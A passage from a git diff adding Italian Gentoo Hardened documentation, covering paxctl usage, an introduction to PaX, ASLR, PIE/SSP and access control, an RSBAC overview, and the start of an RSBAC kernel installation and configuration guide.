+
+<p>
+Alcune applicazioni legittime proveranno a generare in fase di esecuzione codice
+che viene eseguito al di fuori della memoria. Naturalmente, PaX non lo consente
+e terminerà immediatamente l'applicazione.
+</p>
+
+<note>
+Le applicazioni di questo tipo più comuni sono XFree/Xorg, mplayer e strumenti
+multimediali che si basano sulle xine-lib. La soluzione più semplice a questi
+problemi consiste nel disabilitare le protezioni PaX.
+</note>
+
+<p>
+Fortunatamente esiste una utilità per abilitare le protezioni a seconda
+dell'applicazione, <e>paxctl</e>. Come per ogni altro pacchetto Gentoo, si può
+installare paxctl con il comando <c>emerge paxctl</c>. Le informazioni
+sull'utilizzo di paxctl si possono vedere con <c>paxctl -h</c>.
+</p>
+
+<note>
+Se si dispone di una vecchia versione di binutils, è necessario usare
+<e>chpax</e>, che modifica le configurazioni precedenti di PaX. Si può usare
+chpax quasi allo stesso modo di paxctl. Questo richiede che nel proprio kernel
+sia built-in il supporto legacy marking. Versioni recenti di paxctl rendono
+chpax obsoleto.
+</note>
+
+<pre caption="paxctl -h">
+usage: paxctl &lt;options&gt; &lt;files&gt;
+
+options:
+        -p: disable PAGEEXEC            -P: enable PAGEEXEC
+        -e: disable EMUTRMAP            -E: enable EMUTRMAP
+        -m: disable MPROTECT            -M: enable MPROTECT
+        -r: disable RANDMMAP            -R: enable RANDMMAP
+        -x: disable RANDEXEC            -X: enable RANDEXEC
+        -s: disable SEGMEXEC            -S: enable SEGMEXEC
+
+        -v: view flags                  -z: restore default flags
+        -q: suppress error messages     -Q: report flags in short format flags
+</pre>
+
+<p>
+La prima opzione che si nota è <c>-v</c>, che può visualizzare le flag impostate
+su un binario specifico.
+</p>
+
+<pre caption="paxctl -v">
+shell user # paxctl -v /usr/bin/Xorg
+PaX control v0.2
+Copyright 2004 PaX Team &lt;pageexec@freemail.hu&gt;
+
+- PaX flags: -p-sM--x-eR- [/usr/bin/Xorg]
+        PAGEEXEC is disabled
+        SEGMEXEC is disabled
+        MPROTECT is enabled
+        RANDEXEC is disabled
+        EMUTRAMP is disabled
+        RANDMMAP is enabled
+</pre>
+
+<p>
+Questo mostra un binario XFree con tutte le protezioni disabilitate.
+</p>
+
+<p>
+Per impostare le flag su un binario, la flag <c>-z</c> è utile in quanto
+riporta le flag alla configurazione iniziale.
+</p>
+
+<p>
+Per disabilitare le protezioni su Xorg, si deve eseguire il comando <c>paxctl
+-zpeMRxs /usr/bin/Xorg</c>.
+</p>
+
+<p>
+Si può giocare ad abilitare e disabilitare le protezioni per vedere le richieste
+minime necessarie per far funzionare il sistema. Spesso si scoprirà che servirà
+la combinazione -m -sp.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/hardened/primer.xml b/xml/htdocs/proj/it/hardened/primer.xml
new file mode 100644
index 00000000..3145bdf1
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/primer.xml
@@ -0,0 +1,289 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/primer.xml,v 1.2 2009/05/20 17:32:06 scen Exp $ -->
+
+<guide link="/proj/it/hardened/primer.xml" lang="it">
+<title>Introduzione a Gentoo Hardened</title>
+
+<author title="Autore">
+  <mail link="method@gentoo.org">Joshua Brindle</mail>
+</author>
+<author title="Contributi">
+  <mail link="tocharian@gentoo.org">Adam Mondl</mail>
+</author>
+<author title="Redazione">
+  <mail link="solar@gentoo.org">Ned Ludd</mail>
+</author>
+<author title="Traduzione">
+  <mail link="liuju86@gmail.com">Ju Liu</mail>
+</author>
+
+<abstract>Introduzione a Gentoo Hardened.</abstract>
+
+<version>1.2</version>
+<date>2007-02-07</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<body>
+
+<p>
+Questa guida è indicata per chi non conosce a fondo il progetto Gentoo
+"Hardened" ("temprato,indurito", ndT) , quali sono le possibilità che offre,
+come queste interagiscono e quali sono i loro rispettivi compiti all'interno del
+progetto.
+</p>
+
+<p>
+La nozione principale sulla sicurezza su cui si pone l'accento è quello dei
+livelli di sicurezza. I livelli sono fondamentali nel garantire che il sistema
+di un utente non venga compromesso, e nel caso in cui ciò accada, nel
+minimizzare i possibili danni. Combinando una serie di tecnologie diverse,
+benchè tutte incentrate sulla sicurezza, si obbliga l'attaccante a superare
+ulteriori prove per compromettere un sistema. Per questo motivo si raccomanda
+sempre di decidere quali siano le proprie necessità e di combinare tali
+soluzioni per proteggere il proprio sistema. In questa guida si cercherà di
+esporre le varie opzioni disponibili e come queste si possano utilizzare
+contemporaneamente.
+</p>
+
+<p>
+Gentoo Hardened non è un prodotto nè la soluzione in sé, ma è semplicemente un
+progetto in cui un gruppo di sviluppatori lavora insieme per raggiungere
+l'obiettivo di una migliore sicurezza. I sotto-progetti contenuti in Gentoo
+Hardened non hanno nessun altro legame tra loro se non quello di appartenere
+allo stesso progetto. Si può pensare a questo allo stesso modo per cui KDE e
+GNOME fanno entrambi parte del progetto desktop e hanno un obiettivo comune, ma
+sono comunque indipendenti l'uno dall'altro.
+</p>
+
+<note>
+Chiedere aiuto per l'installazione o l'assistenza di un sistema 'Gentoo
+Hardened' non è chiaro e dovrebbe sempre essere specificato se si tratta di un
+problema relativo a SELinux, relativo a PIE/SSP e così via...
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Tecnologie Offerte</title>
+<section>
+<title>PaX</title>
+<body>
+
+<p>
+Il cuore del progetto è PaX. PaX è una patch del kernel che permette di
+proteggersi da attacchi di tipo buffer o heap overflow e simili. PaX è la prima
+linea di difesa.
+</p>
+
+<p>
+A causa di software mal progettato si è sempre a rischio di compromissione da
+parte di attacchi chiamati buffer e heap overflow; questi tipi di overflow sono
+causati dalla mancanza di controlli sull'input inserito dall'utente in
+un'applicazione. Quando l'attaccante è in grado, in un'applicazione, di
+immettere input che viene inserito in memoria senza essere prima controllato,
+nasce la possibilità di un overflow. Linguaggi di programmazione a basso livello
+come C o C++ non proteggono automaticamente dai buffer overrun, e il risultato è
+che quando si inseriscono più dati di quanti il buffer ne possa contenere, il
+codice eseguibile ad esso adiacente può essere sovrascritto con l'input
+dell'utente. Questo normalmente dovrebbe causare il crash dell'applicazione se
+l'input dell'utente non è comprensibile alla macchina. Generalmente questo
+problema si manifesta in un page fault, in quanto i caratteri che hanno superato
+la dimensione del buffer e sono interpretati come codice eseguibile vengono
+trattati come un indirizzo che probabilmente non esiste. Questo è l'effetto meno
+nocivo di un overrun.
+</p>
+
+<p>
+Se l'attaccante conosce la presenza di un overrun, tuttavia, ha la possibilità
+di aggiungere all'input un shellcode ed invece di causare il crash
+dell'applicazione, può fare in modo che esso esegua istruzioni arbitrarie.
+Questo accade perchè i shellcode sono la modalità con cui le istruzioni vengono
+salvate in memoria per l'esecuzione da parte del processore. In pratica il
+shellcode consiste in 'opcodes', codici in linguaggio macchina che specificano
+l'operazione prossima ad essere eseguita; questi vengono tradotti in routine
+assembly. L'attaccante ha un'ottima conoscenza di questi opcode ed è in grado di
+creare un shellcode che gli permette di fare qualunque cosa desideri, come ad
+esempio aprire una shell root e associarla ad una porta. Quando questo accade,
+l'utente non ne è minimamente consapevole poichè l'applicazione non termina, ed
+invece comincia ad eseguire il codice arbitrario dell'attaccante permettendogli
+qualunque azione sul sistema. PaX attenua questo problema allocando in modo
+casuale ogni funzione e buffer dell'applicazione in memoria. Questa tecnica è
+chiamata ASLR (Address Space Layout Randomization) ed è la base fondamentale su
+cui si fonda PaX. Avendo offset, cioè posizioni nella memoria, casuali per le
+funzioni e i buffer, l'attaccante non è in grado di creare un input che gli
+assicuri l'esecuzione del shellcode (rendendo invece quest'operazione molto
+difficile in quanto probabilmente l'applicazione andrà in crash e verrà
+riavviata con nuovi offset). L'ASLR è ancora più utile se utilizzata con codice
+PIE (Position Indipendent Executable, cioè eseguibile indipendente dalla
+posizione) ma funziona anche con codice standard pena un overhead.
+</p>
+
+<p>
+PaX inoltre offre la possibilità di avere sia segmenti di codice che hanno
+permessi di esecuzione e non di scrittura che segmenti che hanno permessi di
+scrittura e non di esecuzione. Questa tecnica è chiamata pageexec. Nei
+processori basati su x86 non è possibile utilizzarla a livello hardware in
+quanto gli sviluppatori dell'x86, per risparmiare spazio, hanno deciso di
+utilizzare la stessa flag per segnalare i permessi di scrittura e di esecuzione.
+Dato che una zona di memoria può essere o scrivibile o leggibile ed eseguibile
+non è molto utile togliere i permessi di esecuzione ai buffer perchè questo li
+renderebbe non più leggibili. Per questa ragione, su x86 PaX emula questo
+comportamento a livello software, introducendo un overhead ma incrementando di
+molto la sicurezza.
+</p>
+
+</body>
+</section>
+<section>
+<title>PIE/SSP</title>
+<body>
+
+<p>
+Per aumentare la chiarezza, anche se generalmente si parla di PIE e SSP come di
+un'unica entità perchè entrambi fanno parte della toolchain hardened, bisogna
+chiarire che sono senz'altro tecnologie diverse con diversi obiettivi. PIE, di
+per sé, non fornisce misure di sicurezza aggiuntive, ma quando è combinata nel
+kernel con PaX diventa un mezzo molto potente per difendersi contro gli
+overflow. SSP è invece interamente implementato a livello utente e protegge
+contro gli attacchi che hanno come obiettivo lo stack senza il supporto del
+kernel. Dato che PIE e SSP sono implementati separatamente e fanno cose diverse,
+sono indubbiamente due diversi livelli di protezione: per esempio, un attacco
+chiamato ret2libc che potrebbe superare PaX, sarebbe fermato da SSP.
+</p>
+
+<p>
+Si sono dovute superare molte difficoltà per fornire agli utenti un modo
+semplice per creare un ambiente interamente costituito da codice PIE in cui
+si possa usufruire dell'ASLR con overhead minimo. Oltre a PIE, la toolchain
+'hardened' è dotata anche di SSP (Stack Smashing Protection). Per proteggere
+dallo stack smashing, SSP alloca un'area di memoria all'esterno dei buffer e vi
+inserisce un canary (o un marker) casuale crittografato. Questo permette all'SSP
+di controllare se il canary è stato sovrascritto dopo ogni fase di scrittura nel
+buffer e se ciò è accaduto, di terminare l'applicazione. La toolchain hardened
+fornisce nel modo più facile possibile un ambiente PIE/SSP a livello utente. Gli
+stage denominati 'hardened' sono stage standard compilati con PIE e SSP e non
+includono controlli degli accessi di tipo SELinux, RSBAC e grsecurity.
+</p>
+
+</body>
+</section>
+<section>
+<title>Controllo obbligatorio degli accessi</title>
+<body>
+
+<p>
+Se PaX è il primo livello di protezione, forse anche il secondo o il terzo se
+si dispone di un firewall e/o di un sistema di rilevazione delle intrusioni, si
+raccomanda fortemente di utilizzare il controllo degli accessi per rendere
+ancora più sicuro il proprio sistema. È molto importante rendersi conto che
+il controllo degli accessi rappresenta l'<b>ultimo</b> livello di protezione. Il
+controllo degli accessi è molto utile per porre dei limiti ad attaccanti che
+hanno già ottenuto accesso al vostro sistema, o ad utenti locali. Al momento
+attuale Gentoo Hardened supporta tre soluzioni di controllo: SELinux, grsecurity
+e RSBAC.
+</p>
+
+<p>
+Se si desidera utilizzare grsecurity non ci si deve preoccupare di quale stage
+sia stato utilizzato perchè esso non richiede modifiche nello spazio utente. Si
+deve semplicemente utilizzare lo stage hardened e compilare il kernel
+utilizzandone uno in cui grsecurity sia attivo, come ad esempio quello
+hardened-sources. Una volta che il sistema è in funzione, si può utilizzare la
+"learning mode" di grsecurity per costruire la lista di controllo degli accessi
+per il proprio sistema.
+</p>
+
+<p>
+Come per grsecurity, anche RSBAC non richiede nessuna modifica nello spazio
+utente ma può essere installato dopo aver configurato un sistema Gentoo
+standard. RSBAC è supportato dal kernel rsbac-sources. Quando il sistema
+funziona, è possibile scegliere tra i vari modelli di controllo degli accessi
+che offre RSBAC, dal momento che sono costituiti da moduli. La documentazione
+Gentoo su RSBAC riporta una lista dei vari modelli offerti insieme ad una
+descrizione più esauriente di ognuno di essi.
+</p>
+
+<p>
+Oltre ai due livelli di sicurezza che sono stati descritti, ne verrano
+sicuramente aggiunti altri in futuro. Esempi di livelli aggiuntivi sono la
+prevenzione / rilevamento delle intrusioni, che diventerebbe il primo livello
+addirittura prima di PaX. Dischi e swap criptati, che offrono una protezione
+dalle vulnerabilità 'fisiche' della sicurezza. Auditing, che permetterebbe di
+vedere e agire contro le minacce prima che queste possano compromettere il
+sistema. Il traffico criptato nelle reti e misure rigide di autenticazione sono
+ulteriori livelli di sicurezza supportati appieno dalla maggior parte delle
+installazioni Linux ma qui non verranno trattati a fondo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Risorse</title>
+<section>
+<body>
+
+<table>
+<tr>
+  <th>Progetto</th>
+  <th>Homepage progetto</th>
+  <th>Pagina progetto Gentoo</th>
+</tr>
+<tr>
+  <ti>PaX</ti>
+  <ti>
+    <uri link="http://pax.grsecurity.net">http://pax.grsecurity.net</uri>
+  </ti>
+  <ti>
+    <uri
+    link="http://hardened.gentoo.org/pax-quickstart.xml">
+    http://hardened.gentoo.org/pax-quickstart.xml
+    </uri>
+  </ti>
+</tr>
+<tr>
+  <ti>PIE</ti>
+  <ti>Non disponibile</ti>
+  <ti>Non disponibile</ti>
+</tr>
+<tr>
+  <ti>SSP</ti>
+  <ti><uri
+    link="http://www.trl.ibm.com/projects/security/ssp/">
+    http://www.trl.ibm.com/projects/security/ssp/</uri>
+</ti>
+  <ti>Non disponibile</ti>
+</tr>
+<tr>
+  <ti>SELinux</ti>
+  <ti>
+    <uri link="http://www.nsa.gov/selinux">http://www.nsa.gov/selinux</uri>
+  </ti>
+  <ti>
+    <uri
+    link="http://hardened.gentoo.org/selinux">http://hardened.gentoo.org/selinux
+    </uri>
+  </ti>
+</tr>
+<tr>
+  <ti>grsecurity</ti>
+  <ti><uri link="http://www.grsecurity.net">http://www.grsecurity.net</uri></ti>
+  <ti>
+    <uri
+    link="grsecurity.xml">http://www.gentoo.org/proj/it/hardened/grsecurity.xml
+    </uri>
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/it/hardened/rsbac/overview.xml b/xml/htdocs/proj/it/hardened/rsbac/overview.xml
new file mode 100644
index 00000000..4e435bf0
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/rsbac/overview.xml
@@ -0,0 +1,306 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/rsbac/overview.xml,v 1.2 2007/11/11 21:49:04 scen Exp $ -->
+
+<guide link="/proj/it/hardened/rsbac/overview.xml" lang="it">
+<title>Rule Set Based Accessi Control (RSBAC) per Linux - Panoramica</title>
+
+<author title="Autore">
+  <mail link="ao@rsbac.org">Amon Ott</mail>
+</author>
+<author title="Redazione">
+  <mail link="albeiro@gentoo.pl">Michal Purzynski</mail>
+</author>
+<author title="Redazione">
+  <mail link="kang@gentoo.org">Guillaume Destuynder</mail>
+</author>
+<author title="Traduzione">
+  <mail link="info@francotampieri.com">Franco Tampieri</mail>
+</author>
+
+<abstract>
+Questo documento vuole illustrare il sistema di controllo d'accesso RSBAC.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>1.2</version>
+<date>2005-10-11</date>
+
+<chapter>
+<title>Caratteristiche chiave</title>
+<section>
+<body>
+
+<ul>
+  <li>Estensione di sicurezza Open Source (GPL) per il kernel Linux</li>
+  <li>Indipendente da governi e grandi compagnie</li>
+  <li>
+    Diversi modelli di sicurezza supportati, sia noti che nuovi, inclusi MAC,
+    ACL ed RC
+  </li>
+  <li>
+    Controlli programmabili sugli utenti individuali e sugli accessi di rete
+  </li>
+  <li>Possibile combinazione di diversi modelli</li>
+  <li>
+    Facilmente estendibile: si può scrivere il proprio modello registrandolo
+    in fase di esecuzione
+  </li>
+  <li>Supporta tutti i kernel correnti</li>
+  <li>Stabile per uso di produzione</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Cosa è RSBAC?</title>
+<section>
+<body>
+
+<p>
+RSBAC è un framework open source per il controllo degli accessi, flessibile,
+potente e veloce per i kernel Linux di uso corrente, rilasciato in versione
+stabile dal gennaio 2000 (versione 1.0.9a). Lo sviluppo completo è stato fatto
+indipendentemente, non usando nessun codice di controllo degli accessi
+preesistente.
+</p>
+
+<p>
+Il pacchetto standard contiene una vasta gamma di modelli di controllo degli
+accessi come MAC, RC, ACL (si veda di seguito). Inoltre, la possibilità di
+registrazione in fase di esecuzione, o "runtime" (REG) rende semplice
+implementare moduli di controllo proprietari, trattandoli come fossero moduli
+del kernel caricabili runtime.
+</p>
+
+<p>
+Il framework RSBAC è descritto in modo esteso nel documento <uri
+link="http://www.acsac.org/secshelf/book001/09.pdf">Generalized Framework for
+Accessi Control (GFAC)</uri> di Abrams e LaPadula. In pratica tutte le chiamate
+di sistema con aspetti rilevanti per la sicurezza vengono "estese" con un codice
+di rinforzo. Questo codice esegue una chiamata verso un modulo centrale
+decisionale, che a sua volta esegue una chiamata a tutti i moduli decisionali
+attivi e decide se eseguire o meno la chiamata originaria. Il codice della
+chiamata decisa viene poi "rinforzata" con estensioni delle chiamate di sistema
+ed eseguita.
+</p>
+
+<p>
+Le decisioni prese sono basate sul tipo di accessi (tipo di richieste), sul
+target cui si accede e sui valori degli attributi associati a tali chiamate e
+target. Altri attributi indipendenti possono essere usati da moduli individuali,
+es. dal Privacy Module (<uri link="#doc_chap3_sect4">PM</uri>). Tutti gli
+attributi sono memorizzati in directory completamente protette, una per ogni
+dispositivo montato. Di conseguenza il cambio di questi attributi richiede
+chiamate di sistema speciali.
+</p>
+
+<p>
+Ogni tipo di accesso alla rete può essere controllato individualmente per tutti
+gli utenti e i programmi. Questo dà il pieno controllo sul comportamento in rete
+e rende più semplice la prevenzione e l'identificazione degli accessi di rete
+illegali.
+</p>
+
+<p>
+Siccome tutti i tipi di decisione di accesso sono basati su richieste generiche
+di decisione, politiche di sicurezza diverse possono essere implementate
+mediante singoli moduli decisionali. A parte i modelli nativi mostrati di
+seguito, l'opzione Module Registration (REG) permette di registrare moduli di
+decisione addizionali personalizzati al runtime.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Modelli implementati</title>
+<section>
+<body>
+
+<p>
+Nella versione 1.2.5 di RSBAC, sono inclusi i seguenti moduli. Si noti che
+tutti quanti sono opzionali.
+</p>
+
+</body>
+</section>
+<section>
+<title>MAC</title>
+<body>
+
+<p>
+Bell-LaPadula Mandatory Accessi Control Module
+</p>
+
+</body>
+</section>
+<section>
+<title>UM</title>
+<body>
+
+<p>
+Modello User Management. In RSBAC esso è basato sul kernel ed è complementare o
+rimpiazza totalmente il sottosistema Linux. L'amministrazione degli utenti è
+rinforzato da granularità e flessibilità.
+</p>
+
+</body>
+</section>
+<section>
+<title>PM</title>
+<body>
+
+<p>
+Privacy Model. Il modello di <uri link="http://www.cs.kau.se/~simone/">Simone
+Fischer-Huebner</uri> nella sua prima implementazione. Si veda l'articolo RSBAC
+su l'<uri link="http://rsbac.org/doc/media/niss98.php"> implementazione di
+PM</uri> per la National Information Systems Security Conference (NISSC 98).
+</p>
+
+</body>
+</section>
+<section>
+<title>Dazuko</title>
+<body>
+
+<p>
+Questo non è un vero e proprio modello di controllo degli accessi, ma piuttosto
+un modulo di protezione del sistema contro il malware. L'esecuzione e la lettura
+dei file infettati da malware può essere prevenuta.
+</p>
+
+</body>
+</section>
+<section>
+<title>FF</title>
+<body>
+
+<p>
+Modello File Flags. Provvede e usa flag per directory e file, al momento
+execute_only (file), read_only (file e directory), search_only (directory),
+secure_delete (file), no_execute (file), add_inherited (file e directory),
+no_rename_or_delete (file e directory, nessuna ereditarietà) e append_only
+(file e directory). Solo gli addetti alla sicurezza FF possono modificare queste
+flag.
+</p>
+
+</body>
+</section>
+<section>
+<title>RC</title>
+<body>
+
+<p>
+Modello Role Compatibility. Definisce ruoli e tipi per ogni target (file, dir,
+dev, ipc, scd, process) del sistema. Per ciascun ruolo, la compatibilità con i
+rimanenti e con tutti i tipi può essere personalizzata con la granularità
+desiderata. Per l'amministrazione c'è un'ottima e granulare separazione dei
+compiti. I diritti possono avere durata temporale limitata. Il modello e le
+specifiche di implementazione sono descritte nell'articolo <uri
+link="http://rsbac.org/doc/media/rc-nordsec2002/index.html">Nordsec 2002 RC
+Paper</uri>
+</p>
+
+</body>
+</section>
+<section>
+<title>AUTH</title>
+<body>
+
+<p>
+Modello Authorization enforcement. Controlla tutte le richieste di CHANGE_OWNER
+per processi target, e solo programmi/processi che hanno il permesso di eseguire
+il generico setuid e quelli che lo hanno per il target user ID possono eseguire
+di fatto questo comando. La capacità di esecuzione di setuid può essere
+controllata da altri programmi/processi, es. demoni di autenticazione.
+</p>
+
+</body>
+</section>
+<section>
+<title>ACL</title>
+<body>
+
+<p>
+Modello Access Control Lists. In questo modello, per ogni oggetto esiste una
+Lista di Controllo degli Accessi, che definisce quali soggetti possono accedere
+ad un oggetto prefissato e con quali tipi di richiesta. I soggetti possono
+essere di tipo user, ruolo RC e gruppo ACL. Gli oggetti sono raggruppati
+mediante tipo di target, ma hanno liste personalizzate. Se non esiste nessuna
+voce nella lista di un dato oggetto relativa a un dato soggetto, i diritti sono
+"ereditati" da oggetti "genitori", filtrati da una maschera di "ereditarietà".
+Diritti diretti (user) e indiretti (role, group) sono cumulabili. Per ogni tipo
+di oggetto esiste una ACL predefinita all'apice della gerarchia prefissata. La
+gestione dei gruppi è stata aggiunta nella versione 1.0.9a. Sia diritti che
+appartenenza a un dato gruppo possono avere durata temporale limitata.
+</p>
+
+</body>
+</section>
+<section>
+<title>CAP</title>
+<body>
+
+<p>
+Modello Linux Capabilities. Per ogni utente e programma si possono definire un
+insieme minimo e uno massimo di capacità, in termini di possibilità di
+esecuzione di chiamate al sistema con aspetti di sicurezza, in ambiente Linux
+("insieme dei diritti speciali di root"). Ciò permette ad esempio di eseguire
+programmi server a semplici utenti, o di restringere i diritti dei programmi di
+root nella maniera standard possibile in ambiente Linux.
+</p>
+
+</body>
+</section>
+<section>
+<title>JAIL</title>
+<body>
+
+<p>
+Modello Process Jails. Questo modello aggiunge una nuova chiamata di sistema,
+la rsbac_jail, che è fondamentalmente un insieme maggiorato delle chiamate di
+sistema jail di FreeBSD. Esso incapsula il processo chiamante e tutti i
+sottoprocessi in un ambiente chroot con indirizzo IP prefissato e molte
+ulteriori restrizioni.
+</p>
+
+</body>
+</section>
+<section>
+<title>RES</title>
+<body>
+
+<p>
+Modello Linux Resources. Per ogni utente e ogni programma si possono definire un
+insieme minimo e uno massimo di risorse usabili dai processi generati in
+ambiente Linux (ad esempio formato di memoria, numero di file aperti, numero di
+processi per utente). Internamente questi insiemi sono usati come dato per
+impostare le flag standard per le risorse in ambiente Linux.
+</p>
+
+</body>
+</section>
+<section>
+<body>
+
+<p>
+Tutti i modelli di decisione sono trattati in dettaglio nella relativa pagina di
+descrizione.
+</p>
+
+<p>
+L'obiettivo generale del progetto RSBAC è quello di raggiungere un giorno il
+livello B1 dell'(obsoleto) Orange Book (TCSEC).
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/hardened/rsbac/quickstart.xml b/xml/htdocs/proj/it/hardened/rsbac/quickstart.xml
new file mode 100644
index 00000000..25195c3a
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/rsbac/quickstart.xml
@@ -0,0 +1,429 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/rsbac/quickstart.xml,v 1.2 2007/11/11 21:49:04 scen Exp $ -->
+
+<guide link="/proj/it/hardened/rsbac/quickstart.xml" lang="it">
+<title>Rule Set Based Access Control (RSBAC) per Linux - Guida rapida
+all'uso</title>
+
+<author title="Autore">
+  <mail link="albeiro@gentoo.pl">Michal Purzynski</mail>
+</author>
+<author title="Redazione">
+  <mail link="kang@gentoo.org">Guillaume Destuynder</mail>
+</author>
+<author title="Traduzione">
+  <mail link="info@francotampieri.com">Franco Tampieri</mail>
+</author>
+
+<abstract>
+Questo documento vi guiderà attraverso l'installazione di RSBAC sulla
+distribuzione Gentoo Linux
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>1.7</version>
+<date>2006-02-15</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<body>
+
+<p>
+Questa guida vi aiuterà a installare RSBAC su Gentoo Linux. Si assume che
+l'utente abbia già letto l'<uri
+link="/proj/en/hardened/rsbac/intro.xml">Introduzione</uri> (in Inglese, ndt) e
+la <uri link="overview.xml">Panoramica</uri>, così che egli sappia cos'è RSBAC
+e quali sono i suoi concetti base.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Installazione di un kernel che supporti RSBAC</title>
+<section>
+<title>Installare il kernel RSBAC</title>
+<body>
+
+<p>
+Questo passo è abbastanza semplice e diretto, grazie al modo in cui Gentoo
+tratta le installazioni del kernel. Iniziare con l'emerge del kernel
+rsbac-sources da portage.
+</p>
+
+<note>
+Ci sono due kernel rsbac-sources utilizzabili: uno è per il kernel 2.4, l'altro
+è per il più recente kernel 2.6.
+</note>
+
+<pre caption="Installazione del kernel RSBAC (usando il profilo predefinito e
+il kernel 2.6)">
+# <i>emerge rsbac-sources</i>
+</pre>
+
+<pre caption="Installazione del kernel RSBAC (usando il kernel 2.4, dal profilo
+Gentoo 2005.0)">
+# <i>rm /etc/make.profile</i>
+# <i>ln -s /usr/portage/profiles/default-linux/x86/2005.0/2.4/ /etc/make.profile</i>
+# <i> echo "sys-kernel/hardened-sources rsbac" >> /etc/portage/package.use</i>
+# <i>emerge hardened-sources</i>
+</pre>
+
+<impo>
+Si raccomanda di abilitare il softmode per la prima compilazione di un kernel
+RSBAC. Questo permette di disabilitare l'enforcement RSBAC al reboot, per
+testare l'installazione o nel caso qualcosa vada male. Lo si disabiliti
+solamente non appena si sia sicuri di quello che si sta facendo, o naturalmente,
+per un kernel di produzione.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Configurare il kernel RSBAC</title>
+<body>
+
+<p>
+Ora si configurerà il kernel. Si raccomanda di abilitare le seguenti opzioni,
+nel menù "Rule Set Based Access Control (RSBAC)":
+</p>
+
+<pre caption="Configurare e compilare il kernel RSBAC">
+<comment>Sezione "General RSBAC options"</comment>
+[*] RSBAC proc support
+[*] Check on init
+[*] Support transactions
+[*]   Randomize transaction numbers
+[*] RSBAC debugging support
+(400) RSBAC default security officer user ID
+
+<comment>Sezione "User management"</comment>
+[*] User management
+<comment>Assicurarsi di abilitare l'opzione SHA1 nelle Crypto API
+Nella categoria "Cryptographic options" della configurazione generale del kernel,
+si selezioni
+[*]   SHA1 digest algorithm
+</comment>
+[*]     Use Crypto API Digest SHA1 (NEW)
+
+<comment>Sezione "RSBAC networking options"</comment>
+[*] RSBAC network support
+[*]     Net device control
+[ ]         Treat virtual devices as individuals
+[*]         Individual network device logging
+[*]     Net object control (sockets)
+[*]         Control UNIX address family
+[*] Also intercept network object read and write
+[*]         Individual network object logging
+
+<comment>(Non si abiliti l'opzione "RSBAC Maintenance Kernel", ma si usi il
+softmode)</comment>
+
+<comment>Sezione "Decision module (policy) options"</comment>
+[*] Support for Registration of decision modules (REG)
+[*]     Build REG sample modules
+----------------------------
+[*] RSBAC support for DAZuko policy <comment>(For malware/antivirus scanning)</comment>
+DAZ Policy Options  --->
+     (604800)     Scanning result lifetime in seconds
+
+<comment>Per ogni differente politica/modulo che si decide di supportare si deve
+controllare la relativa protezione nel'AUTH module e nello User Management module</comment>
+[*] RSBAC support for FF policy
+[*] RSBAC support for RC policy
+[*] RSBAC support for AUTH policy
+<comment>Si disabiliti l'opzione learning per il kernel di produzione.
+E' solamente usata durante il set-up di un sistema RSBAC dedicato.</comment>
+AUTH Policy Options  --->
+    [*]   AUTH learning mode support
+[*] RSBAC support for ACL policy
+[*] RSBAC support for Linux Caps (CAP) policy
+[*] RSBAC support for JAIL policy
+[*] RSBAC support for PAX policy
+[*] RSBAC support for System Resources (RES) policy
+
+<comment>Sezione "Softmode and switching"</comment>
+[ ] RSBAC policies switchable
+[*] RSBAC soft mode <comment>(Turn that off on production kernels)</comment>
+[*]     Individual module softmode support
+
+<comment>Sezione "Logging": tutto tranne l'opzione "Log to remote UDP network
+socket" a meno che non si voglia loggare la macchina in remoto</comment>
+
+<comment>Sezione "RSBAC symlink redirection"</comment>
+[*]   RSBAC symlink redirection
+[*]     Add remote IP address
+[*]       Add user ID number
+[*]       Add RC role number
+
+<comment>Sezione "Other RSBAC options"</comment>
+[*] Intercept sys_read and sys_write
+[*] Intercept Semaphore IPC operations
+[*] Control DAC process owner (seteuid, setfsuid)
+[*] Hide processes in /proc
+[*] Support freezing of RSBAC configuration
+[*] RSBAC check sys_syslog
+</pre>
+
+<note>
+Se si pensa di lanciare un server X Windows (come X.org o XFree86), si abiliti
+anche <c>"[*] X support (normal user MODIFY_PERM access to ST_ioports)"</c>.
+Vedere anche <uri link="/proj/it/hardened/hardenedxorg.xml">Usare Xorg su Gentoo
+Hardened</uri>
+</note>
+
+<p>
+Ora si configurerà PaX che è un complemento del kernel RSBAC hardened. Si
+raccomanda inoltre di abilitare le seguenti opzioni, nella sezione "Security
+options ---> PaX".
+</p>
+
+<pre caption="Configurazione delle ozioni PaX di kernel">
+[*] Enable various PaX features
+PaX Control  --->
+    [*] Support soft mode
+     <comment>(Disabilitare questa opzione in un kernel di produzione)</comment>
+    [ ] Use legacy ELF header marking
+    [ ] Use ELF program header marking
+        Use ELF program header marking MAC system integration (direct)  --->
+        (X) hook
+
